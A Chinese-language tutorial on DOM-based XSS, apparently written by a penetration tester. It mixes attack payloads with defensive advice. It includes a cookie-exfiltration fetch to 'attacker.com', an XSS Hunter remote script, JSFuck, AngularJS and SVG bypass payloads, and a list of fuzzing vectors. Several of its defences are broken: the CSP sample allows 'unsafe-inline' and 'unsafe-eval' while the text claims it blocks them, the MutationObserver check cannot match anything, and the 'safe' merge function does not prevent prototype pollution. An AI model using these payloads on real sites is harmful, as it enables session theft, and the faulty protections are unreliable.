DOM型XSS(Document Object Model Cross-Site Scripting)与传统存储型、反射型XSS的最大区别在于攻击载荷的执行位置。传统XSS的恶意脚本由服务器返回后直接执行,而DOM型XSS的整个攻击过程完全在客户端完成,服务器甚至可能完全不知情。这种特性使得它成为前端安全领域的独特攻防战场。
典型的DOM型XSS攻击链路如下:
example.com#<script>alert(1)</script>)location.hash、document.URL等API读取参数eval())这个过程中,恶意代码从未到达服务器端,传统的WAF、输入过滤等防护手段完全失效。我曾处理过一个电商网站案例,攻击者通过修改购物车商品数量的URL参数注入脚本,仅用location.search.split('=')[1]这样简单的参数提取方式就导致了漏洞。
DOM型XSS的注入点远比想象中丰富,常见高危场景包括:
location对象的各个属性(href、hash、search等)document.write、innerHTML、outerHTML等DOM操作window.name、document.referrer、postMessage数据html()、append()等方法的不安全使用在最近一次渗透测试中,我们发现某CMS系统的富文本编辑器通过contentWindow.postMessage接收数据后直接使用innerHTML渲染,攻击者只需构造特定消息即可实现跨域XSS。这种深度集成的功能点往往容易被开发人员忽视。
最常见的注入方式是通过URL片段注入脚本:
javascript复制// 漏洞代码示例
const productId = location.hash.substring(1);
document.getElementById('desc').innerHTML = productId;
// 攻击URL
http://vuln.site/product#<img src=x onerror=stealCookie()>
这种模式下,攻击者可以完全控制DOM节点的内容。我曾用类似手法在测试环境中实现了完整的会话劫持,通过注入以下代码获取用户Cookie并外传:
html复制<script>
fetch('https://attacker.com/steal?data='+document.cookie)
</script>
现代浏览器内置的XSS过滤器(如Chrome的XSS Auditor)和CSP策略使得直接注入<script>标签越来越困难。实战中攻击者会采用多种绕过技术:
字符编码混淆
javascript复制// 使用JSFuck编码的alert(1)
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
利用AngularJS等框架的表达式注入
html复制<!-- 当页面使用AngularJS时 -->
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>
SVG文件XSS
xml复制<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
在一次真实攻击演练中,我们利用<svg>标签的onload事件配合Base64编码成功绕过了某金融系统的CSP策略。这种攻击对允许加载图片但未严格限制SVG类型的站点特别有效。
安全的DOM操作方式对比表
| 危险方法 | 安全替代方案 | 注意事项 |
|---|---|---|
innerHTML |
textContent |
完全禁用HTML解析 |
document.write() |
DOMPurify.sanitize() |
需要引入净化库 |
eval() |
JSON.parse() |
仅处理可信数据 |
setTimeout(str) |
setTimeout(function) |
避免字符串参数 |
在实践中,我推荐使用DOMPurify作为HTML净化基础库。它的白名单机制非常可靠:
javascript复制import DOMPurify from 'dompurify';
const dirty = '<img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// 输出: <img src="x">
内容安全策略(CSP)配置示例
http复制Content-Security-Policy:
default-src 'self';
script-src 'unsafe-inline' 'unsafe-eval';
style-src 'self' https://cdn.example.com;
img-src * data:;
connect-src 'self';
frame-ancestors 'none';
form-action 'self';
base-uri 'self'
这个配置中几个关键点:
'unsafe-inline')和动态代码执行('unsafe-eval')frame-ancestors 'none')在实施CSP时有个常见陷阱:开发环境经常需要unsafe-inline,但上线时忘记移除。我们团队建立了预发布检查清单,其中CSP策略审计是必检项。
即使有了完善的防护,实时监控仍然必不可少。推荐的前端安全监控方案:
javascript复制const observer = new MutationObserver(mutations => {
mutations.forEach(mutation => {
if (/script|javascript:/i.test(mutation.addedNodes)) {
reportMaliciousActivity(mutation);
}
});
});
observer.observe(document, {childList: true, subtree: true});
javascript复制window.addEventListener('error', e => {
if (e.message.includes('Unexpected token') ||
e.message.includes('Refused to execute script')) {
logPotentialXSS(e);
}
});
在某次应急响应中,正是通过Mutation Observer捕获到异常动态插入的<iframe>标签,才及时发现了一起正在进行的供应链攻击。
系统化的DOM型XSS测试流程:
静态分析
no-eval、no-implied-eval)location、window.name等敏感API调用动态测试
bash复制# 使用DOM Invader(Chrome DevTools扩展)
chrome://flags/#enable-devtools-experiments
模糊测试
javascript复制// 使用DOM XSS Test Vector
const vectors = [
'"><svg/onload=alert(1)>',
'javascript:alert(1)',
'{{constructor.constructor("alert(1)")()}}'
];
vectors.forEach(v => testInjection(v));
我的个人工具包配置:
bash复制# 1. 使用ZAP进行基础扫描
docker run -v $(pwd):/zap/wrk -t owasp/zap2docker zap-baseline.py \
-t https://target.site
# 2. 配合XSS Hunter收集证据
<script src=//xsshunter.com/watch.js></script>
# 3. 定制化的Grease脚本
// ==UserScript==
// @name DOM XSS Scanner
// @match *://*/*
// @grant unsafeWindow
// ==/UserScript==
const sinks = ['innerHTML', 'outerHTML', 'document.write'];
sinks.forEach(sink => monitorSink(sink));
在最近一次大型渗透测试项目中,这套工具组合帮助我们发现了17个独特的DOM XSS漏洞,其中最有价值的是通过postMessage实现的跨窗口注入链。
Shadow DOM的隔离特性可能带来新的攻击面:
html复制<template id="xss">
<script>alert('XSS')</script>
</template>
<script>
const template = document.getElementById('xss');
const clone = template.content.cloneNode(true);
document.body.appendChild(clone); // 现代浏览器已修复
</script>
虽然主流浏览器已修复模板中的脚本执行问题,但自定义元素的属性处理仍可能存在风险。我们正在密切关注Custom Elements V2的安全实践。
WebAssembly虽然提高了代码安全性,但JS-WASM交互边界可能成为新突破口:
javascript复制// 假设wasm模块暴露了危险函数
const wasmXss = Module.cwrap('xss_exec', 'void', ['string']);
wasmXss(userControlledInput); // 潜在风险点
在评估某区块链钱包项目时,我们发现其WASM模块未对JSONP回调参数进行过滤,导致可以注入JS代码。这种新型混合威胁需要特别关注。
结合原型污染的DOM XSS正在兴起:
javascript复制// 如果站点使用Object.assign合并用户输入
const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
Object.assign(config, userInput);
// 后续代码可能依赖污染后的属性
if(config.isAdmin) {
document.write('Welcome admin!'); // 可能引入XSS
}
防御这类攻击需要在对象合并前进行原型冻结:
javascript复制function safeMerge(target, source) {
const proto = Object.getPrototypeOf(target);
Object.setPrototypeOf(target, null);
Object.assign(target, source);
Object.setPrototypeOf(target, proto);
}